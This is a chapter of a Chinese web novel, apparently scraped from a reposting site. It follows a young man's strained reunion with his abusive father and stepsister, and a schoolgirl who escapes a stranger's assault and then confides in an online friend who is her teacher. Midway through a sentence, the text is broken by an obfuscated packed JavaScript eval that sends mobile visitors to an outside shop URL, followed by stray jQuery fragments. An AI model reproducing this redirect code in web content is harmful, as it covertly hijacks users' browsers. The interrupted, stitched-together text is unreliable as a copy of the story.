3. 过春天(3)

作品:《苦橘海

    这样亲密的肢体接触让他有些不适应,秦暮野下意识想后退一步,和妹妹保持距离。


    可对方生怕他跑了,将人紧紧箍住,根本动弹不得。


    虽说两人是没有血缘关系的兄妹,但这样搂搂抱抱终究不妥,秦暮野扶住妹妹的肩膀,不动声色把她推开。


    周暮谣也不恼,撩起披肩黑发,明艳精致的五官在灯光下愈发动人,笑起来唇边还有浅浅的酒窝。


    “进来嘛~”她连拖带拽,终于把门口不情不愿的那位弄了进来。


    进门后,秦暮野环视着这方大平层,满是陌生的气息,他心里的充斥着违和感,一时竟无处落脚。


    “来了。”


    听到父亲的声音,秦暮野搭在檀木沙发的手不自觉攥紧,敛去眼底的情绪,面无表情地抬起头来,丝毫没有开口的打算。


    父子两人近在咫尺,流动在期间的紧张气氛一触即发,周暮谣年纪虽小,却感受到了大人之间的不睦,求助般地望向爸爸。


    “爸爸,父子没有隔夜仇,过去的就让它过去吧。”


    周暮谣从中调停,她走到周陵身旁,为他锤起了肩膀,企图让其消消气。


    就这么对峙终究有失礼仪,还是秦暮野先行松口,舒展开眉间的愁绪,违心笑了笑,“爸。”


    大家都是体面人,当面递过来的台阶,周陵岂能不下?他点点头,“回来就好,过来吃饭吧。”


    和不太熟的人吃饭,终究浑身上下不自在,对人对己都是。除了满心盼着哥哥回来的周暮谣,两个大人如坐针毡,一顿饭吃得味同嚼蜡。


    又坐了一会儿,几人有一句没一句地聊着,秦暮野几乎每隔几分钟就要看一次手表,期盼着折磨人的时光快些结束。


    周陵看出了他的意图,说:“马上要下大暴雨,今晚就别走了。”


    “我明天要上班,这里过去有点不方便。”秦暮野即刻否决了这个决定。


    周陵并不接话,而是抿了一口茶,便放下茶杯。


    瓷器与桌子碰撞发出了一声脆响,其人举手投足间的威严,让旁边的周暮谣心头一惊,肩膀下意识缩紧。


    秦暮野倒没有多怕父亲,只是不想在刚入职的关头,再给自己徒惹是非,可能工作都要丢了。


    于是淡声应下:“知道了,我先回房间了。”


    ……


    回到房间后,秦暮野便拿着换洗的衣物去了浴室。


    解开扣子后,他淡然地注视着镜子里的自己,刻意不去看锁骨处的伤痕。


    他的脖颈修长,锁骨微微凹陷,沐浴之后残留的水渍积蓄其中,原本完美又性感的轮廓,却混入一片狰狞的青紫。


    好似白瓷跌入泥沼,碎纹将永远镌刻其上,再难修复。


    那是父亲用重物投掷,留下的伤痕。


    秦暮野的视线仅在锁骨上停留片刻,便拢上衬衣,却因胸膛处尺寸太小,他手上稍稍用了些力,上面的扣子竟被崩掉两颗。


    他穿戴好后,拾起地上的扣子,打算去房间里找针线缝上,刚走出浴室,却看到站在房门前的妹妹。


    此刻的秦暮野扣子只系了一半,半个胸膛裸露在外,不免有些尴尬,两人对视了一秒后,他赶忙背过身去,语气平静:“已经很晚了,明天还要上学。”


    周暮谣也不避讳,直直地盯着刚沐浴完的哥哥,嗅着空气中清冽的薄荷香,令她无比心安。


    与哥哥平日的不苟言笑不同,洗完澡的他头发呈顺毛状,有着与清冷气质不相符的乖巧。


    发间未擦干的水珠顺着流畅的下颚,再到衣领没入胸膛,打湿了衬衫,藏在衣服下紧致精壮的肌肉,若隐若现。


    周暮谣并没有打算离开的意思,眨眨无辜的大眼睛,“哥哥,我是来问你线代题的。”


    秦暮野用手拢起胸前敞开的衬衣,转过身去,平静中带了些拒绝的意味:


    “有什么不会的题目,拍给我可以吗?明天给你回消息。”


    虽然周暮谣很想和哥哥独处一会儿,但察觉到对方的婉拒之意,还是不情愿地点点头,而后绽出一个灿烂的笑容:


    “哥哥晚安!”


    秦暮野应答,唇角勉强扬起一丝浅笑,“嗯。”


    关上房门后,他眼里的笑意慢慢消失,一步一步走到窗前,静观疾风骤雨。


    春雷惊万顷,打碎了玻璃的光晕,残留一片镜花水月。


    秦暮野则忍不住抬起手,覆上窗户那片凌乱的光斑。


    在稀缺的清辉,仍能越过时空,到达另一个人的眼眸……


    霎时间,秦暮野神思恍惚,猝不及防间就为虚妄所奴役。


    他闭上眼睛,右手重重地按着太阳穴,像是一块无情的橡皮擦,强行把不该有的记忆清出脑海,另一只手探向床头柜,去取药片。


    天底下怎么会有这么巧的事?


    他在心里默念了一遍又一遍。


    秦暮野咽下药片后,心浮气躁的症状缓解不少。


    为了进一步转移注意力,他深吸一口气,难得在睡前拿起了手机。


    打开手机的瞬间,他不免有些疑惑,因为许久未交谈的网友“苦橙”,给他发来了消息。


    ……


    赵栩回到家之后已经快晚上十一点了,她浑身上下宛如从水里捞出来一般,微卷的马尾辫塌了下来,雨水挂在睫毛上,眼神湿漉漉的,像只倔强的小鹿。


    “栩栩,这是怎么了?”


    妈妈赵梧楠正在与人通电话,商量工作上的事情,看到堪称狼狈的女儿,又惊讶又心疼,放下手机一路小跑到门口。


    赵栩赶紧把袖子往下扯了扯,胡乱抹了一把眼角的雨水,笑着撒谎:“没事儿,就是伞给吹坏了。”


    说完,她怕妈妈不信,把折断的伞架举到对方面前,然后佯装委屈:“刚下出租车就遇上大风,真倒霉。”


    赵梧楠面露自责:“抱歉啊栩栩,妈妈今天有点事儿忙,晚自习没去接你。”


    “没事的。”赵栩若无其事摊开手,同时害怕妈妈拆穿谎言,脸都要笑僵了,唯独不敢直视妈妈的眼睛。


    还好,赵梧楠一心两用,惦记着生意上的事,未能及时觉察到女儿的异样,拍了拍她的肩膀,柔声道:“早点睡。”


    这关算是过了,赵栩在心里长舒一口气,连忙跑回房间。


    跑回那个最令她心安的栖息之所,寻求片刻安宁。


    锁上房门后,赵栩像是被抽空了最后一缕气力,瘫坐在地板上。


    她强行让自己镇定下来,咬着牙,挽起黏在胳膊上的校服袖子。


    三条醒目的抓痕,像是抽离不掉的孽缘,盘桓在女孩本就细腻的右手小臂上,隐隐可见泛出的血痕。


    轻轻活动手臂,便会牵扯肌肤周围的神经,有种细碎的痛感。


    赵栩仰望着天花板,强忍着即将滑落的泪珠,心想:


    今天真是倒霉透了。


    静谧的灯光,照亮了女孩眼底一汪悲伤的湖,也不怕再丢入几颗石子,搅动慌乱的河流。


    赵栩用手指扯起唇角,反复告诉自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641012|156428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :


    笑一笑,一切都会过去。


    今晚妈妈有事要忙,所以她是打车回的家,才下出租车,便看到有一个男人在小区周围鬼鬼祟祟地徘徊。


    虽然赵栩家所在的小区是市区的高档住宅区,但安保措施仍是没有及时跟上。


    赵栩起初只想赶紧跑进小区,远离这个怪人。可与男子擦肩而过时,男子却抓住了她的手腕,重重地挠了一下,同时露出了诡异的笑容。


    一道惊雷劈过,电光映出男子眼中的血色。


    大雨赋予黑夜冷的未知,赵栩握住伞柄双手被雨水纠缠,冷得刺骨,更让人怕得发抖。


    女孩又惊又惧,第一反应,就是把头顶的伞直接向他抡过去,用撑开的伞,阻止男子的靠近。


    许是男子精神上有疾病,也不害怕,直接上手撕她的伞,接着步步紧逼。


    赵栩忘记了手指还在发抖,那时势单力薄的她,却在危难时机保持清醒,把手伸向书包隔层,翻出了一把壁纸刀。


    “再敢过来试试。”她语气冰冷,拧紧眉头,把壁纸刀全部推出,直指不怀好意的男子。


    她当时已经做好了最坏的打算,既然精神病伤人不给判刑,那就大家要死一起死。


    尽管男子神志不清,但大概能判断出壁纸刀的危险,不干不净骂了两句之后,朝她吐了口水,就大摇大摆地离开了。


    “——咚”


    重物坠地的声音传来,把陷入回忆的赵栩拽回现实,女孩被突如其来的声音吓到,又仿佛劫后余生般,粗喘着气,胸间止不住起伏。


    赵栩拿起从口袋掉出的手机,起初看到红豆app的消息,惊喜了一秒。


    再打开时,发现是广告消息,转瞬的喜悦被衣服滴落的雨水浇灭。


    夜晚静得可怕,更静得冷漠。


    赵栩不想睡觉,也难得没有学习的心情,只想找个人说说话。


    哪怕不是诉说心中苦楚,说说旁的,让她暂时忘记不愉快也好。


    划了一会儿手机,赵栩更是做了稍许心理建设,才把对象锁定为:


    橘子海。


    当然,她已经知道,这位断交已久的网友,是讲台上的数学老师。


    赵栩不想让现生朋友知道自己的不幸,所以更愿意和网友分享。找来找去,她似乎只能找到这一个能说得上话的人。


    就说一次,下次绝对不找他了。


    赵栩在心里发誓。


    踟躇稍许,赵栩把存在备忘录里的影评发在app的影评区,随后转载给了“橘子海”。


    [我希望,皮肤里的鲨鱼可以破空而出,遨游四海,替我去看落满樱花的积雪。我怕再犹豫一秒,过得了春天,过不了青春的关隘。]


    几乎是瞬间,对方便回复了她:


    [为什么,想走过春天?”]


    赵栩用手指轻划过小臂的伤痕,勉强笑笑,回复:


    [因为夏天白昼变长,黑夜就没有那么难熬了。]


    从某种程度上来说,她并不喜欢睡觉,为着多思,怎么也睡不踏实。


    因为闭上眼,那双黑暗中的手就会把她重新拽回雾障丛生的曾经。


    就算睡着后,都会时时入梦,搅扰得她不得安宁。


    手机那边的秦暮野,细细读了几遍后,陷入沉思,又注意了锁骨那处醒目的青紫伤斑。


    他的心境渐渐明朗,眉梢亦逐渐舒展。


    是啊,走过春天,说不定就能拨开看似葱茏,实则桎梏的树木,走向通往四海的夏天。